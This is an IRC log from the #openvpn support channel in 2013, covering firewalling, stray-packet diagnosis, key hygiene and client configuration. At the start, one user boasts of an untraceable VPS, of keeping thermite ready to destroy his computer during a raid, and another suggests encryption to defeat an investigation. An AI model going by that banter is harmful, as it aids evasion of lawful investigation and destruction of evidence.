23:52 < pekster> baobeiiii: Yea, exactly. But that's quite the asortment of IPs hitting your system. Apparently you're an "interesting" target
23:52 < pekster> All over the world too, from some whois lookups I'm doing on those IPs
23:53 < pekster> .ph, .no, .br
23:53 < MaxDamage> pekster, so it's usually wise to generate one key per client, so that I may revoke them if necessary
23:53 < pekster> Yup
23:53 < baobeiiii> are they trying to autheticate as actual clients or is it like those bots that try to ssh in all the time
23:54 < pekster> No, it is probably just some arbitrary UDP packet; you can't auth unless you have (or managed to steal/reverse-engineer) an x509 keypair
23:55 < pekster> I have several public systems that listen on UDP 1194, and they rarely, if ever, get stray packets. You're getting on the order of a dozen hits per minute
23:55 < MaxDamage> pekster, now that you mention that, how likely is it that the gubmint can crack encryption quickly?
23:55 < MaxDamage> I do plan on using protocol encryption as well, over the VPN
23:55 < pekster> Use 2048 bit keys or higher and the best annalysis is that the world's supercomputers all combined to attack you specifically could not do it
23:56 < MaxDamage> Yeah, I did generate them at 2048
23:56 < pekster> Of course, it's easier for $local_government to just raid your home in that event
23:56 < MaxDamage> I'm hoping my identity is never revealed for that to happen
23:56 < MaxDamage> :>
23:56 < MaxDamage> the VPS i have is given to me for free with zero registration in the host
23:57 < MaxDamage> so no way to trace me if i was to route out of the VPS and did things
23:57 < MaxDamage> though, i am saying these things over an unencrypted network ;_;
23:57 < pekster> The outer protocol can be used to see where a VPN connection originates, but not what the content of the communication is
23:57 < baobeiiii> nothing i can do about that, already have a firewall that drops everything except traffic bound for 22 and 1194
23:57 < baobeiiii> running at level 8 now
23:58 < MaxDamage> And by the time they need to raid me, I'd be paranoid enough to have thermite bombs ready to destroy my PC at any time at the flick of a button
23:58 < MaxDamage> so I should be fine
23:58 < MaxDamage> :>
23:58 < pekster> baobeiiii: Careful with verb 8; check it over to make sure it doesn't leak anything sensitive in the x509 private key; FYI, your verb 7 output had the HMAC keys, which is the --tls-auth stuff
23:58 < baobeiiii> MaxDamage, no need for physical damange just use truecrypt on your system drive or something
23:58 < baobeiiii> then after their investigation turns up nothing u can ask for your computer back
23:58 < MaxDamage> I'll be legally obligated to give them the keys, I think
23:59 < pekster> Not a real problem, although in theory with that someone could perform an auth attempt (it'll still fail unless they have a properly signed cert, though)
23:59 < baobeiiii> MaxDamage, you live in the UK?
23:59 < MaxDamage> No, Bulgaria
23:59 < baobeiiii> only country with jail time for not handing them over to my knowledge
23:59 < MaxDamage> but since we joined the EU, cyber laws have become iffy
23:59 < MaxDamage> datacentres were raided due to torrent trackers on them
23:59 < MaxDamage> the admins of those sites were also raided by spec ops with fully loaded MP5s pointed at their children
--- Day changed Wed Feb 20 2013
00:00 < MaxDamage> so i'm not really taking chances here :>
00:00 < MaxDamage> regarding the pool of molten metal on the clay pot on my floor, i thought i was being robbed so i decided to destroy all my work
00:00 < MaxDamage> lol
00:07 < pekster> baobeiiii: source code says this in the comment about your 'No TLS state' errors: "This can occur due to bogus data or DoS packets."
00:07 < pekster> And that exactly matches what I suggested earlier
00:09 < baobeiiii> only kids or government would bother doing dos
00:10 < MaxDamage> lol
00:10 < MaxDamage> government is right
00:10 < MaxDamage> ours tried to dos our local torrent tracker
00:10 < MaxDamage> but didn't even use proper udp flood
00:10 < MaxDamage> so they just got firewalled :>
00:10 < baobeiiii> pekster, here's verb 8, i did spot proto 15 in there
00:10 < baobeiiii> http://pastebin.com/bmVSW4cY
00:11 < pekster> http://dpaste.org/kCKq6/ <-- the source function that's dropping your bogus/scan/DoS traffic
00:14 < pekster> baobeiiii: FYI, when we're done here, you should re-generate your ta.key file on all your infrastructure since it's been printed in plaintext. It's not your private key, but there's no point using an HMAC key if it's been in plaintext online
00:14 < pekster> (remember, that needs to match on each node, server and client alike)
00:14 < baobeiiii> thanks i'll do that
00:14 < pekster> Well, it *is* a private key, just not your private component of the X509 keypair
00:16 < baobeiiii> i dont see it in there
00:16 < baobeiiii> other than reference by its name secret.key
00:16 < pekster> Lines 289-294 on your latest (verb 8) paste. It was in at verb 7 too
00:20 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
00:20 < pekster> baobeiiii: More verbosity beyond the verb 8 output won't be of any more use; besides seeing that your server is being sent bogus packets from a variety of source countries/IPs, I don't really know any more than I did earlier. I'll have to dig in the source more tomorrow, but I still don't have a good answer why you're getting that 'unknown IP version=15' output :\
00:21 -!- brute11k1 [~brute11k@89.249.235.210] has quit [Ping timeout: 276 seconds]
00:21 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
00:23 < pekster> baobeiiii: Were you the one that did werid stuff with netfilter to DNAT most of the entire port range to udp/1194? If so, that's possibly related (and you may want to change that to a smaller set of known-to-you random/obscure high ports)
00:23 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
00:24 < xtreme_> is it possible to create own openvpn gui?
00:24 < baobeiiii> pekster, yep lol
00:25 < baobeiiii> that could be the reason
00:25 < pekster> baobeiiii: Well, don't do that then. Use a more sane subset and you'll probably see that go away
00:25 < pekster> Maybe even all the unknown IP version=15 stuff too
00:26 < baobeiiii> only did that because china has some software that notices the tls handshake and after a short period of time blocks the port
00:26 < baobeiiii> this way i can just enter any random number in my client config without changing the server each time
00:26 < pekster> Right, but anyone who scans *any* of the 65k ports gets dumped to your ovpn instance
00:26 < baobeiiii> although eventually they just blocked the entire ip
00:26 < pekster> It's dropping the noise, but possibly by doing so spamming your logs
00:27 < baobeiiii> i'll change it to a 1000 range
00:27 < pekster> I'd do less than that even
00:27 < pekster> You clearly have shell access; just pick a small handful of non-contigious ports
00:28 < pekster> Otherwise you become a magnet for bot scans
00:28 < baobeiiii> i dont see why, i mean given my firewall setup and the hmac firewall, a port scan shows all ports including 1194 as closed
00:28 < pekster> xtreme_: Sure, you can write a frontend in whatever language you'd like. You can interact with the openvpn process via the management interface:
00:28 < baobeiiii> only port you can see open is 22
00:28 < pekster> !management
00:28 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
00:29 < pekster> baobeiiii: Not necessarily; that depends on your firewall ruleset. If I'm pen-testing and I find some ports return an icmp-port-unreach but others just get dropped, the distinction is quite curious
00:29 < baobeiiii> although I guess they still get through netfilter and to the openvpn daemon
00:29 < baobeiiii> hence the logs
00:30 < xtreme_> pekster thanks
00:34 -!- Orbi [~opera@anon-163-27.vpn.ipredator.se] has left #openvpn []
00:42 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 252 seconds]
00:43 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
00:45 < baobeiiii> i would have to go with bogus theory
00:45 < baobeiiii> i changed it so the ports aren't all forwarded, still get those connection attemps
00:45 < baobeiiii> from ports outside my small range that can be forwarded
00:46 -!- mattock is now known as mattock_afk
00:48 -!- brute11k1 [~brute11k@89.249.235.210] has joined #openvpn
00:49 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 240 seconds]
00:50 < pekster> How is "stop network connections from reaching you by limiting attackable surface area" a bogus theory?
00:50 < baobeiiii> bogus data or dos
00:50 < pekster> Close all your ports *including* 1194 and forward, say, 35972 into 1194 (some random number I just made up)
00:50 < baobeiiii> not bogus theory
00:50 < baobeiiii> ok
00:51 < pekster> That'll stop the attack unless the attackers just get lucky or are sitting in this channel watching for the next port you open ;)
00:51 < baobeiiii> aha
00:53 < pekster> Be smarter about your firewalls next time. OpenVPN can't even handle more than 64 <connection> profiles, so using more than 64 ports at any given time is usually a waste
00:54 < pekster> Write some cute script to randomly pick 64 ports (not in a range, actually *random* ports) between say 20000 and 65000, and communicate the change to clients
00:54 < pekster> And really, probably just 15 or 20 is likely to be sufficient and reduce attackable surface even more
00:57 < pekster> Here's a bash snippit to possibly get you started: http://dpaste.org/gcpxW/
01:00 -!- mattock_afk is now known as mattock
01:01 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
01:02 < baobeiiii> yea it worked
01:02 -!- brute11k2 [~brute11k@89.249.235.210] has joined #openvpn
01:03 < baobeiiii> this http://pastebin.com/Sfsq33Gb stopped those packets
01:03 -!- brute11k1 [~brute11k@89.249.235.210] has quit [Ping timeout: 276 seconds]
01:03 < baobeiiii> can't get a more restrictive firewall than that
01:04 < pekster> 'iptables-save' is the preferred way to show netfilter rules
01:05 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 255 seconds]
01:06 < pekster> But yea, limiting to 51 ports is a better idea compared to 65k
01:06 -!- xtreme_ [~wtf@193.28.228.85] has quit [Ping timeout: 255 seconds]
01:09 -!- b1rkh0ff [~b1rkh0ff@178.77.26.26] has quit [Ping timeout: 260 seconds]
01:15 -!- JPeterson [~JPeterson@213.103.210.215] has quit [Ping timeout: 245 seconds]
01:20 -!- brute11k2 [~brute11k@89.249.235.210] has quit [Quit: Leaving.]
01:21 -!- b1rkh0ff [~b1rkh0ff@178.77.12.33] has joined #openvpn
01:26 < baobeiiii> in a bash script like i posted normaly the default chain rules (when drop) go at the bottom do they not
01:28 < pekster> It doesn't really matter. It's bad practice to use anything except the recommended iptables-save and iptables-restore for all the reasons the manpage lists
01:28 < baobeiiii> yea i just dont know how to write rules in that format
01:28 < pekster> You aren't going to find many people on Freenode (especially at #netfilter which is the relevant support channel) that are willing to help you with "iptables scripts"
01:31 < pekster> Try searching. https://duckduckgo.com/?q=iptables-save (faqs.org seems to have a semi-decent explanation for you)
01:31 <@vpnHelper> Title: iptables-save (Linux) at DuckDuckGo (at duckduckgo.com)
01:47 < baobeiiii> well, maybe this will be dissapointing lol
01:47 < baobeiiii> but i've gotten rip of the ip proto 15 problem
01:48 < baobeiiii> by removing openvpn and going back to version 2.2.2
01:48 < baobeiiii> rid*
01:49 < baobeiiii> feels like a bad way to fix an issue, going back to outdated version
01:49 < pekster> If you don't need 2.3.x features, it's a fine solution. Although I wonder if it's not ipv6-related with some service your server runs that tries to poll something every minute
01:50 < pekster> fwiw, I speculated as much on this point yesterday
01:51 < baobeiiii> i re-used everything in the openvpn directory after downgrading
01:51 < baobeiiii> so it hints at it being 2.3 related
01:51 < baobeiiii> yea your right probably
01:52 < baobeiiii> if 2.2.2 doesn't have those ip6 features it wouldn't be bothered by some service
02:01 -!- jaws [~root@5.231.5.192] has quit [Ping timeout: 248 seconds]
02:09 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
02:25 < baobeiiii> im happy with the firewall, apart from i can no longer ping 10.8.0.1, which i often do to check it's up
02:26 < pekster> So allow traffic that comes in on tun0
02:26 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
02:30 < baobeiiii> i'd ask how in netfilter but it seems like a shark tank
02:31 < pekster> Try searching for the -i switch in iptables(8)
02:32 < pekster> #netfilter has some good guides at the bottom of the primary /topic URL too; if you're that unfamiliar with netfilter/iptables, you should really spend the time to read one of the beginner's tutorials
02:34 -!- MaxDamage [Damage@46.238.18.82] has quit [Read error: Connection reset by peer]
02:41 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
02:42 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
02:42 -!- mirco_ is now known as mirco
02:53 -!- surfmasta [~bart@80.92.88.10] has joined #openvpn
02:59 < surfmasta> Hi, I have following setup: Clients (192.168.1.0/24) <-bridged network-> Router: 192.168.1.1 (OpenVPN client: 10.1.10.2) <-tunnel-> OpenVPN server: 10.0.0.1 (subnet 10.0.0.0/8) <-gateway-> Internet
03:00 < surfmasta> Now I have the problem that the packets coming in the OpenVPN server have the source IP 192.168.1.0/24, thats also something I can't change. I just have the power to make some configuration files on the OpenVPN client itself, but I would prefer to do something after the client side (on the server)
03:01 < surfmasta> and I want the packets to be mapped to source IPs in the 10.0.0.0/8 network when they go to the internet (internet is my own infrastructure, could also be an intranet)
03:03 < surfmasta> I would probably need something like an iptables-PREROUTING-SNAT, but SNAT just works in the POSTROUTING and that will be to late for me and when the packets already leave the OpenVPN server processing (tap device) then there could also be collisions in the mapping if more clients connect to it with the same subnetwork 192.168.1.0/24
03:05 < pekster> I don't have a clear picture of your network setup, but you seem to have multiple conflicting networks. You should fix that, or perform ugly NAT hackary to work around it. But fixing it is really what you should do
03:10 < pekster> surfmasta: You can see the --client-nat directive in the 2.3.0 version. It's nothing you couldn't already do with netfilter and NAT already, but it does it on your behalf. I think it's a bad solution, but it's there if you want to play with it
03:11 < surfmasta> ok thanks, i will take a look on this
03:12 < surfmasta> problem is that we want to have the client DSL-routers to be untouched as much as possible, and put a openvpn client on them, the only way that the client routers work with openvpn is a bridged network (Fritzbox)
03:13 < surfmasta> so we are limited in this step
03:14 < pekster> Sounds like you've started by shooting yourself in the foot with your requirements. NAT might save the rest of the body, but that kind of hackery is best avoided by not setting yourself up for unpleasentness from the start
03:15 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
03:15 < pekster> No idea why you're using bridging/tap either, but:
03:15 < pekster> !tunortap
03:15 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
03:15 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
03:15 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Read error: Connection reset by peer]
03:21 < baobeiiii> got ping working with iptables -A INPUT -i tun0 -p icmp --icmp-type echo-request -j ACCEPT
03:23 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:25 < pekster> Sounds reasonable
03:26 < sam1> !wins
03:26 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
03:32 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:48 -!- aoconnell [~chatzilla@dsl-217-155-112-254.zen.co.uk] has joined #openvpn
03:50 < aoconnell> Hi, I have an openvpn server with a ton of clients that come and go, I know I can scrape the /var/log/openvpn-status.log, but can I use the -up and -down script triggers (or something similar) to trigger a bash/php script whenever a client gets added/removed?
03:51 < pekster> aoconnell: See the --client-disconnect and --client-connect scripts. I have a sample client-disconnect script that does some basic account about the client's session that's GPL-code you're free to browser and either mod to taste or use as-is:
03:51 < pekster> !accounting
03:51 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
03:52 < aoconnell> Thanks Pekster
03:59 -!- dazo_afk is now known as dazo
04:05 -!- aoconnell [~chatzilla@dsl-217-155-112-254.zen.co.uk] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0/20130215130331]]
04:11 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
04:12 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
04:15 -!- baobeiiii [~baobeiiii@180.155.14.35] has quit [Quit: Leaving]
04:45 -!- Devastator- [~devas@186.214.110.45] has quit [Changing host]
04:45 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
04:45 -!- Devastator- is now known as Devastator
05:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:37 -!- mode/#openvpn [+o plaisthos] by ChanServ
05:52 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
06:14 -!- mndo [~mndo@bl17-91-212.dsl.telepac.pt] has joined #openvpn
06:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
06:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B52866.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:05 -!- master_of_master [~master_of@p57B54352.dip.t-dialin.net] has joined #openvpn
07:12 -!- axelm7 [~axelm7@186.135.9.201] has joined #openvpn
07:16 -!- ihre [~kaas@office.shockmedia.nl] has joined #openvpn
07:16 -!- axelm7 [~axelm7@186.135.9.201] has quit [Ping timeout: 260 seconds]
07:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:21 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has joined #openvpn
07:22 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
07:26 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
07:26 < xtz> hey guys
07:26 < xtz> does anyone have an idea if --port-share had already been extended to work with ssh?
07:27 <@plaisthos> xtz: it has not
07:27 <@plaisthos> only for http
07:27 < xtz> crap
07:27 <@plaisthos> for ssh it is also difficult
07:28 <@ecrist> good morning folks
07:28 <@plaisthos> because not the client but the server sends the first reply
07:29 < xtz> plaisthos: got it. thx buddy
07:52 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
07:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
07:56 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
07:59 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
07:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:04 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:05 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
08:13 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
08:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
08:47 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
08:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:00 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:14 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
09:16 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
09:16 -!- nickanderson [~cmdln@ginger.pilgrimpage.com] has joined #openvpn
09:17 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
09:31 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
09:32 -!- NChief [tomme@unaffiliated/nchief] has quit [Quit: gey]
09:34 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
09:40 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 248 seconds]
09:42 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
09:45 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
09:45 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
09:57 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:02 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
10:10 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:11 -!- raidz_away is now known as raidz
10:30 -!- ihre [~kaas@office.shockmedia.nl] has quit [Quit: Lost terminal]
10:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
10:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:38 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:54 -!- Orbi [~opera@anon-163-27.vpn.ipredator.se] has joined #openvpn
11:05 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
11:06 -!- sauce [sauce@unaffiliated/sauce] has quit [Read error: Operation timed out]
11:07 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:07 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
11:10 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:10 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
12:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:45 -!- NomeFalso [~Aralucc10@151.77.232.145] has joined #openvpn
12:46 < NomeFalso> hi I have a openvpon tun network installed and I'd like to use my XBMC as upnp server / client streaming videos thru it but it doesn't work. It works fine locally mthough... any advice?
12:46 < NomeFalso> upnp servers are not seen when using vpn
12:48 < pekster> uPnP uses subnet broadcast/multicast features that you don't get when using tun, which is an OSI Layer 3 (IP) level connection. You'd need tap for that
12:48 < pekster> https://en.wikipedia.org/wiki/Universal_Plug_and_Play#Protocol
12:48 <@vpnHelper> Title: Universal Plug and Play - Wikipedia, the free encyclopedia (at en.wikipedia.org)
12:49 < pekster> You might be able to use upnp, just not the discovery portion depending on how much you know about the target network ahead of time
12:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 252 seconds]
12:58 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Read error: Operation timed out]
13:04 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
13:05 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
13:05 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
13:07 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
13:07 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
13:34 -!- mndo [~mndo@bl17-91-212.dsl.telepac.pt] has quit [Ping timeout: 248 seconds]
13:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:42 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
13:47 -!- KaiForce [~chatzilla@adsl-70-228-64-42.dsl.akrnoh.ameritech.net] has joined #openvpn
13:50 < KaiForce> any fix for the crash of 2.3 on Win 7 (and 8?) when connecting as described here:  https://forums.openvpn.net/topic11901.html
13:50 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN crash windows8 x64 - 2.3 build : Testing branch (at forums.openvpn.net)
13:51 < KaiForce> i've seen it on two win 7 machines.
13:53 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
14:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:01 -!- mode/#openvpn [+o krzee] by ChanServ
14:02 -!- Perun [perun@chao5.net] has joined #openvpn
14:02 < Perun> hi all
14:02 <@dazo> KaiForce: has it been filed as a bug report in Trac?  if not ... then the developer most likely haven't noticed this issue at all
14:03 < Perun> if I have server 10.0.4.0 255.255.255.0 in openvpn 'server' conf, the gets the server ever the .1 address of this net... how can I configure an other ip for server? for example the .10?
14:04 <@dazo> Perun: don't use --server ... and read the man page about --server ... it describes exactly what this "macro" does there ... that way, you can do that yourself
14:05 < Perun> dazo: oh you mean "mode server ... " in the conf?
14:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:06 <@dazo> Perun: no ... I mean --server
14:06 <@krzee> whats wrong with .1?
14:06 <@krzee> ...are you using the same subnet as the lan?
14:06 < Perun> no
14:06 <@krzee> k good
14:06 < Perun> but my dns is already configured
14:08 <@dazo> Perun: http://openvpn.net/index.php/open-source/documentation/manuals/openvpn-21.html#lbAH
14:08 <@vpnHelper> Title: OpenVPN 2.1 (at openvpn.net)
14:08 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
14:08 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
14:08 <@krzee> do you have some ninja method of finding anchors or do you look at the src like i do?
14:09 < Perun> dazo: I understand hmm but in the example: ifconfig 10.8.0.1 10.8.0.2, who is the .2?
14:10 <@dazo> krzee: nope ... view source ... search and look for the <a> tag ;-)
14:10 <@krzee> hehe ya same as i
14:10 <@krzee> !/30
14:10 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
14:10 <@krzee> Perun, to understand who the 2 is ^
14:11 <@dazo> Perun: the 10.8.0.2 is calculated, based on the 10.8.0.0 from the --server argument
14:12 < Perun> aha ok
14:12 <@dazo> Perun: the sane way to do this ... is to use --topology subnet ... and ignore the net30 mode
14:13 < Perun> and if I dont define an ip pool I need to configure on each client his ip in the openvpn subnet?
14:13 <@dazo> I'm not sure it would start at all
14:13 <@dazo> I think it would complain
14:21 < Perun> dazo: but I can configure a static ip on each client?
14:22 <@krzee> !static
14:22 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
14:22 < Perun> !ccd
14:22 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
14:25 < Perun> hmm what is the common-name? the common-name field in the ssl cert?
14:25 <@dazo> yes
14:25 < Perun> aha
14:26 <@krzee> !certinfo
14:26 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
14:26 <@dazo> but some char replacement happens on the filename ... look for "character mangling" in the man page, iirc
14:30 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 260 seconds]
14:31 < Perun> http://pastebin.com/PrQ998LF it is look ok?
14:31 -!- mirovengi [~mirovengi@209.59.130.4] has joined #openvpn
14:32 < mirovengi> does the openvpn client on the website only work for the paid product? will it work with with the community edition?
14:32 < mirovengi> *specifically the windows client
14:32 <@krzee> !as
14:32 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
14:33 <@krzee> they'll know
14:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:33 < mirovengi> in the meantime, is there a windows client that will connect to openvpn community edition?
14:38 <@krzee> !download
14:38 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:38 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:48 -!- giskard [~giskard@static.5.188.47.78.clients.your-server.de] has joined #openvpn
14:48 < giskard> hello
14:49 < giskard> Hello
14:49 < giskard> I get "Bad LZO decompression header byte: 0" message when I try to connect to my openvpn server
14:49 < giskard> (comp-lzo is on on both server and client conf)
14:49 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Quit: Leaving]
14:50 < giskard> So, i deleted the comp-lzo line, and now, I get this:  FRAG_IN error flags=0xffffffff: FRAG_TEST not implemented
14:51 < giskard> I found nothing relevant with google
14:51 < giskard> only 2005 messages…
14:54 -!- giskard [~giskard@static.5.188.47.78.clients.your-server.de] has quit [Quit: leaving]
14:58 < Perun> dazo: but I can configure a static ip on each client 192.168.60.1 via 255.255.255.0 dev tun_ovpn_xaphon and 255.255.255.0 dev tun_ovpn_xaphon  proto kernel  scope link  src 192.168.60.140, it is normal?
14:58 < Perun> argh sorry
14:58 < Perun> I see these routes on clinet now: 192.168.60.1 via 255.255.255.0 dev tun_ovpn_xaphon and 255.255.255.0 dev tun_ovpn_xaphon  proto kernel  scope link  src 192.168.60.140, it is normal?
14:59 -!- dazo is now known as dazo_afk
15:04 -!- ben1066_ is now known as ben1066
15:25 < Perun> I mean it works but it is normal? the ptp address of the tun device is 255.255.255.0 to hmmmm why not the openvpn server ip in the openvpn subnet?
15:27 < mirovengi> what's the shortcut for your bot to get common problems with the windows client? Is there a config check tool? I'm trying to connect and it doesn't look like it makes it out of the box and yet the log file is empty
15:28 < mirovengi> I can also watch logs on my openvpn server and see it's not getting any connects
15:29 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has joined #openvpn
15:30 -!- b1rkh0ff [~b1rkh0ff@178.77.12.33] has quit [Quit: Leaving]
15:30 < grendal-prime> hey guys  im really stupid when it comes to windows...(i mean im kinda glad to say that really) but anyway..How do i get the desktop task manager thang to start and run as administrator automatically?
15:30 < grendal-prime> is there like a sudo..type thing for windows?
15:30 <@krzee> services
